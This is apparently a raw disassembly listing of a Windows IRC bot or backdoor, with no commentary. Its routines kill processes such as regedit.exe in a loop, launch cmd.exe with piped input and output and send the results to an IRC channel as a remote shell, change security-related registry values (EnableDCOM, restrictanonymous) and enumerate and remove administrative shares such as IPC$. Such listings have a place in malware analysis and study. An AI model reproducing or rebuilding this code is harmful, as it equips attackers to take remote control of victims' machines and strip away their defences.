		jz	loc_41A7C2
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4E4134	; Process32Next
		test	eax, eax
		jz	loc_41A7C2
		mov	edi, ds:dword_4F638C
		mov	ebx, 1F0FFFh

loc_41A685:				; CODE XREF: sub_41A5C1+1F9j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_41A6EC
		mov	[ebp+var_4], offset off_451BC8

loc_41A693:				; CODE XREF: sub_41A5C1+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+Str1]
		push	eax
		call	ds:dword_4F648C	; lstrcmpi
		test	eax, eax
		jz	short loc_41A6BB
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset aRegedit_exe ; "regedit.exe"
		jb	short loc_41A693
		jmp	loc_41A7A8
; ---------------------------------------------------------------------------

loc_41A6BB:				; CODE XREF: sub_41A5C1+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41A7A8
		push	0
		push	eax
		call	ds:dword_4F63F8	; TerminateProcess
		test	eax, eax
		jnz	loc_41A7A8

loc_41A6E2:				; CODE XREF: sub_41A5C1+1CDj
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_41A7A8
; ---------------------------------------------------------------------------

loc_41A6EC:				; CODE XREF: sub_41A5C1+C9j
		cmp	[ebp+Str2], eax
		jnz	loc_41A793
		cmp	[ebp+Str], eax
		jz	loc_41A7A8
		push	[ebp+var_128]
		push	8
		call	dword_4E4240	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41A753
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4E40E0	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_41A745
		lea	eax, [ebp+var_234]
		push	eax
		push	offset aSD_0	; " %s (%d)"
		jmp	short loc_41A765
; ---------------------------------------------------------------------------

loc_41A745:				; CODE XREF: sub_41A5C1+174j
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aSD_1	; " %s (%d)"
		jmp	short loc_41A765
; ---------------------------------------------------------------------------

loc_41A753:				; CODE XREF: sub_41A5C1+15Cj
		push	[ebp+var_128]
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aSD_2	; " %s (%d)"

loc_41A765:				; CODE XREF: sub_41A5C1+182j
					; sub_41A5C1+190j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	1		; int
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h
		jmp	loc_41A6E2
; ---------------------------------------------------------------------------

loc_41A793:				; CODE XREF: sub_41A5C1+12Ej
		push	[ebp+Str2]	; Str2
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A7DB

loc_41A7A8:				; CODE XREF: sub_41A5C1+F5j
					; sub_41A5C1+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4E4134	; Process32Next
		test	eax, eax
		jnz	loc_41A685
		xor	ebx, ebx

loc_41A7C2:				; CODE XREF: sub_41A5C1+9Dj
					; sub_41A5C1+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle

loc_41A7C7:				; CODE XREF: sub_41A5C1+77j
		push	ebx
		push	offset aSedebugprivi_2 ; "SeDebugPrivilege"
		call	sub_41A556
		pop	ecx
		pop	ecx

loc_41A7D4:				; CODE XREF: sub_41A5C1+3Aj
					; sub_41A5C1+46j ...
		xor	eax, eax

loc_41A7D6:				; CODE XREF: sub_41A5C1+241j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A7DB:				; CODE XREF: sub_41A5C1+1E5j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	ds:dword_4F63F8	; TerminateProcess
		test	eax, eax
		jnz	short loc_41A7FF
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_41A7D4
; ---------------------------------------------------------------------------

loc_41A7FF:				; CODE XREF: sub_41A5C1+237j
		push	1
		pop	eax
		jmp	short loc_41A7D6
sub_41A5C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A804	proc near		; DATA XREF: sub_401CC7+26BFo

Dest		= byte ptr -298h
var_98		= dword	ptr -98h
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset asc_451DC0 ; "-"
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41A863
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41A863:				; CODE XREF: sub_41A804+3Dj
		push	[ebp+var_10]	; int
		lea	eax, [ebp+Str]
		push	esi		; int
		push	esi		; Str2
		push	[ebp+var_C]	; int
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_41A5C1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_41A88B
		push	offset unk_451DE0
		jmp	short loc_41A890
; ---------------------------------------------------------------------------

loc_41A88B:				; CODE XREF: sub_41A804+7Ej
		push	offset asc_451E04 ; "-"

loc_41A890:				; CODE XREF: sub_41A804+85j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_41A8C3
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41A8C3:				; CODE XREF: sub_41A804+9Dj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_14]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
sub_41A804	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A8E2	proc near		; CODE XREF: sub_401CC7+7A09p
					; sub_40B8C9+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	ds:dword_4F638C	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_41A914
		push	0
		push	esi
		call	ds:dword_4F63F8	; TerminateProcess
		test	eax, eax
		jnz	short loc_41A914
		push	esi
		xor	edi, edi
		call	ds:dword_4F6370	; CloseHandle

loc_41A914:				; CODE XREF: sub_41A8E2+1Aj
					; sub_41A8E2+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41A8E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41A919	proc near		; DATA XREF: WinMain(x,x,x,x)+3CDo
		push	esi
		xor	esi, esi

loc_41A91C:				; CODE XREF: sub_41A919+1Ej
		push	1		; int
		push	esi		; int
		push	esi		; Str2
		push	esi		; int
		push	esi		; Str
		push	esi		; int
		call	sub_41A5C1
		add	esp, 18h
		push	dword_451BC4
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_41A91C
sub_41A919	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A939	proc near		; CODE XREF: sub_41A969+2Ap
					; sub_41A9A1+7Ep ...
		mov	eax, dword_4F458C
		push	esi
		mov	esi, ds:dword_4F6370
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A94D
		push	eax
		call	esi	; CloseHandle

loc_41A94D:				; CODE XREF: sub_41A939+Fj
		mov	eax, dword_4F4594
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A95A
		push	eax
		call	esi	; CloseHandle

loc_41A95A:				; CODE XREF: sub_41A939+1Cj
		mov	eax, dword_4F4588
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A967
		push	eax
		call	esi	; CloseHandle

loc_41A967:				; CODE XREF: sub_41A939+29j
		pop	esi
		retn
sub_41A939	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A969(char *Str)

sub_41A969	proc near		; CODE XREF: sub_401CC7+775Fp
					; sub_4167F7+14Ap

var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+Str]
		push	dword_4F4590
		call	ds:dword_4F63E8	; WriteFile
		test	eax, eax
		jnz	short loc_41A99C
		call	sub_41A939
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A99C:				; CODE XREF: sub_41A969+28j
		push	1
		pop	eax
		leave
		retn
sub_41A969	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A9A1(int,char *Str1,int)

sub_41A9A1	proc near		; CODE XREF: sub_41AA28+D3p
					; sub_41AA28+F2p ...

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str1		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_4F45D4 ; Str2
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A9E4
		push	7D0h
		call	ds:dword_4F6380	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+Dest]
		push	[ebp+Str1]
		push	offset aPrivmsgSS_4 ; "PRIVMSG %s :%s\r"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_41A9FB
; ---------------------------------------------------------------------------

loc_41A9E4:				; CODE XREF: sub_41A9A1+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+Dest]
		push	offset aS_31	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_41A9FB:				; CODE XREF: sub_41A9A1+41j
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E4270	; send
		test	eax, eax
		jg	short loc_41AA24
		call	sub_41A939

loc_41AA24:				; CODE XREF: sub_41A9A1+7Cj
		xor	eax, eax
		leave
		retn
sub_41A9A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA28	proc near		; DATA XREF: sub_41AB7D+174o

Dst		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset byte_4F4598

loc_41AA40:				; CODE XREF: sub_41AA28+79j
					; sub_41AA28+DBj
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	dword_4F458C
		call	ds:dword_4F6494	; PeekNamedPipe
		test	eax, eax
		jz	loc_41AB0E
		cmp	[ebp+var_4], edi
		jnz	short loc_41AAA3
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4F4588
		call	ds:dword_4F6490	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_41AA99
		cmp	[ebp+var_8], 103h
		jnz	loc_41AB32

loc_41AA99:				; CODE XREF: sub_41AA28+62j
		push	0Ah
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_41AA40
; ---------------------------------------------------------------------------

loc_41AAA3:				; CODE XREF: sub_41AA28+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41AABA

loc_41AAAA:				; CODE XREF: sub_41AA28+90j
		cmp	[ebp+eax+Dst], 0Ah
		jz	short loc_41AB08
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41AAAA

loc_41AABA:				; CODE XREF: sub_41AA28+80j
		mov	[ebp+var_4], esi

loc_41AABD:				; CODE XREF: sub_41AA28+E4j
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+Dst]
		push	eax
		push	dword_4F458C
		call	ds:dword_4F63F0	; ReadFile
		test	eax, eax
		jz	short loc_41AB5A
		lea	eax, [ebp+Dst]
		push	eax		; int
		push	ebx		; Str1
		push	dword_4F45CC	; int
		call	sub_41A9A1
		add	esp, 0Ch
		jmp	loc_41AA40
; ---------------------------------------------------------------------------

loc_41AB08:				; CODE XREF: sub_41AA28+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41AABD
; ---------------------------------------------------------------------------

loc_41AB0E:				; CODE XREF: sub_41AA28+45j
		push	offset unk_451E3C ; int
		push	ebx		; Str1
		push	dword_4F45CC	; int
		call	sub_41A9A1
		push	[ebp+arg_0]
		call	sub_40BAAA
		add	esp, 10h
		push	1
		call	ds:dword_4F63D4	; ExitThread

loc_41AB32:				; CODE XREF: sub_41AA28+6Bj
		call	sub_41A939
		push	offset unk_451E6C ; int
		push	ebx		; Str1
		push	dword_4F45CC	; int
		call	sub_41A9A1
		push	[ebp+arg_0]
		call	sub_40BAAA
		add	esp, 10h
		push	edi
		call	ds:dword_4F63D4	; ExitThread

loc_41AB5A:				; CODE XREF: sub_41AA28+C3j
		push	offset unk_451E94 ; int
		push	ebx		; Str1
		push	dword_4F45CC	; int
		call	sub_41A9A1
		push	[ebp+arg_0]
		call	sub_40BAAA
		add	esp, 10h
		push	edi
		call	ds:dword_4F63D4	; ExitThread
sub_41AA28	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB7D	proc near		; CODE XREF: sub_401CC7+24C4p
					; sub_4167F7+99p

Dest		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
Dst		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	esi
		push	edi
		call	sub_41A939
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe_0 ; "cmd.exe"
		push	esi
		call	dword_4E42DC	; SearchPathA
		test	eax, eax
		jz	loc_41AC77
		lea	eax, [ebp+var_1C]
		mov	edi, ds:dword_4F6404
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], 1
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41AC77
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41AC77
		mov	edi, ds:dword_4F6400
		push	3
		push	esi
		push	esi
		push	offset dword_4F4590
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_4F63FC	; DuplicateHandle
		test	eax, eax
		jz	short loc_41AC77
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+Dst]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		lea	eax, [ebp+var_178]
		push	offset dword_4F45D8
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	ds:dword_4F6374	; CreateProcessA
		test	eax, eax
		jnz	short loc_41AC7F

loc_41AC77:				; CODE XREF: sub_41AB7D+2Ej
					; sub_41AB7D+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41AD31
; ---------------------------------------------------------------------------

loc_41AC7F:				; CODE XREF: sub_41AB7D+F8j
		push	[ebp+var_4]
		mov	edi, ds:dword_4F6370
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4F458C, eax
		mov	eax, [ebp+var_8]
		mov	dword_4F4594, eax
		mov	eax, [ebp+Dst]
		mov	dword_4F4588, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4F45CC, eax
		jz	short loc_41ACB9
		push	[ebp+arg_4]
		jmp	short loc_41ACBE
; ---------------------------------------------------------------------------

loc_41ACB9:				; CODE XREF: sub_41AB7D+135j
		push	offset byte_4F45DC ; Format

loc_41ACBE:				; CODE XREF: sub_41AB7D+13Aj
		push	offset byte_4F4598 ; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	esi		; int
		push	0Ah		; int
		push	offset asc_451ECC ; "-"
		call	sub_40B78E
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_457130[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41AA28
		push	esi
		push	esi
		call	ds:dword_4F6384	; CreateThread
		cmp	eax, esi
		mov	dword_45713C[edi], eax
		jnz	short loc_41AD2F
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_451EF0 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		add	esp, 10h

loc_41AD2F:				; CODE XREF: sub_41AB7D+189j
		xor	eax, eax

loc_41AD31:				; CODE XREF: sub_41AB7D+FDj
		pop	edi
		pop	esi
		leave
		retn
sub_41AB7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD35	proc near		; DATA XREF: sub_401CC7+2E14o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41AD7C
		call	sub_41AD95
		jmp	short loc_41AD81
; ---------------------------------------------------------------------------

loc_41AD7C:				; CODE XREF: sub_41AD35+3Ej
		call	sub_41B0B9

loc_41AD81:				; CODE XREF: sub_41AD35+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40BAAA
		pop	ecx
		push	0
		call	ds:dword_4F63D4	; ExitThread
sub_41AD35	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD95	proc near		; CODE XREF: sub_41AD35+40p

Dest		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Str		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4E42F0, edi
		jnz	loc_41AEC7
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4E4290	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41AE20
		mov	ax, word_451F68
		mov	word ptr [ebp+Str+2], ax
		lea	eax, [ebp+Str+2]
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4E4244	; RegSetValueExA
		test	eax, eax
		jz	short loc_41AE02
		push	offset dword_451F78
		jmp	short loc_41AE07
; ---------------------------------------------------------------------------

loc_41AE02:				; CODE XREF: sub_41AD95+64j
		push	offset asc_451F9C ; "-"

loc_41AE07:				; CODE XREF: sub_41AD95+6Bj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E41FC	; RegCloseKey
		jmp	short loc_41AE33
; ---------------------------------------------------------------------------

loc_41AE20:				; CODE XREF: sub_41AD95+36j
		lea	eax, [ebp+Dest]
		push	offset asc_451FBC ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41AE33:				; CODE XREF: sub_41AD95+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41AE52
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41AE52:				; CODE XREF: sub_41AD95+A1j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4E4290	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41AEC0
		lea	eax, [ebp+Str]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	dword ptr [ebp+Str], 1
		call	dword_4E4244	; RegSetValueExA
		test	eax, eax
		jz	short loc_41AEA2
		push	offset dword_452000
		jmp	short loc_41AEA7
; ---------------------------------------------------------------------------

loc_41AEA2:				; CODE XREF: sub_41AD95+104j
		push	offset asc_45203C ; "-"

loc_41AEA7:				; CODE XREF: sub_41AD95+10Bj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E41FC	; RegCloseKey
		jmp	short loc_41AEDA
; ---------------------------------------------------------------------------

loc_41AEC0:				; CODE XREF: sub_41AD95+E2j
		push	offset dword_452070
		jmp	short loc_41AECC
; ---------------------------------------------------------------------------

loc_41AEC7:				; CODE XREF: sub_41AD95+13j
		push	offset asc_4520AC ; "-"

loc_41AECC:				; CODE XREF: sub_41AD95+130j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41AEDA:				; CODE XREF: sub_41AD95+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41AEF9
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41AEF9:				; CODE XREF: sub_41AD95+148j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		cmp	dword_4E4318, edi
		pop	ecx
		jnz	loc_41B074
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41AF1C:				; CODE XREF: sub_41AD95+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+Str]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4E4164
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41AFB9
		cmp	eax, 0EAh
		jz	short loc_41AFB9
		mov	esi, offset off_451F28

loc_41AF4D:				; CODE XREF: sub_41AD95+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_419B70
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41AF64
		push	offset dword_45212C
		jmp	short loc_41AF69
; ---------------------------------------------------------------------------

loc_41AF64:				; CODE XREF: sub_41AD95+1C6j
		push	offset asc_452150 ; "-"

loc_41AF69:				; CODE XREF: sub_41AD95+1CDj
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41AF9C
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41AF9C:				; CODE XREF: sub_41AD95+1EBj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		add	esi, 8
		pop	ecx
		cmp	esi, offset aIpc ; "IPC$"
		jb	short loc_41AF4D
		jmp	loc_41B051
; ---------------------------------------------------------------------------

loc_41AFB9:				; CODE XREF: sub_41AD95+1AAj
					; sub_41AD95+1B1j
		mov	esi, dword ptr [ebp+Str]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41B048

loc_41AFC8:				; CODE XREF: sub_41AD95+2AFj
		mov	edi, [esi]
		push	edi		; Str
		call	_wcslen
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41B03D
		push	edi
		call	sub_419A5D
		push	eax
		push	0
		call	sub_419B70
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41AFF7
		push	offset dword_4520DC
		jmp	short loc_41AFFC
; ---------------------------------------------------------------------------

loc_41AFF7:				; CODE XREF: sub_41AD95+259j
		push	offset asc_452100 ; "-"

loc_41AFFC:				; CODE XREF: sub_41AD95+260j
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41B030
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41B030:				; CODE XREF: sub_41AD95+27Fj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		pop	ecx

loc_41B03D:				; CODE XREF: sub_41AD95+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41AFC8
		xor	edi, edi

loc_41B048:				; CODE XREF: sub_41AD95+22Dj
		push	dword ptr [ebp+Str]
		call	dword_4E42B0

loc_41B051:				; CODE XREF: sub_41AD95+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41AF1C
		lea	eax, [ebp+Dest]
		push	offset asc_45217C ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41B087
; ---------------------------------------------------------------------------

loc_41B074:				; CODE XREF: sub_41AD95+177j
		lea	eax, [ebp+Dest]
		push	offset asc_4521A4 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41B087:				; CODE XREF: sub_41AD95+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41B0A5
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41B0A5:				; CODE XREF: sub_41AD95+2F5j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
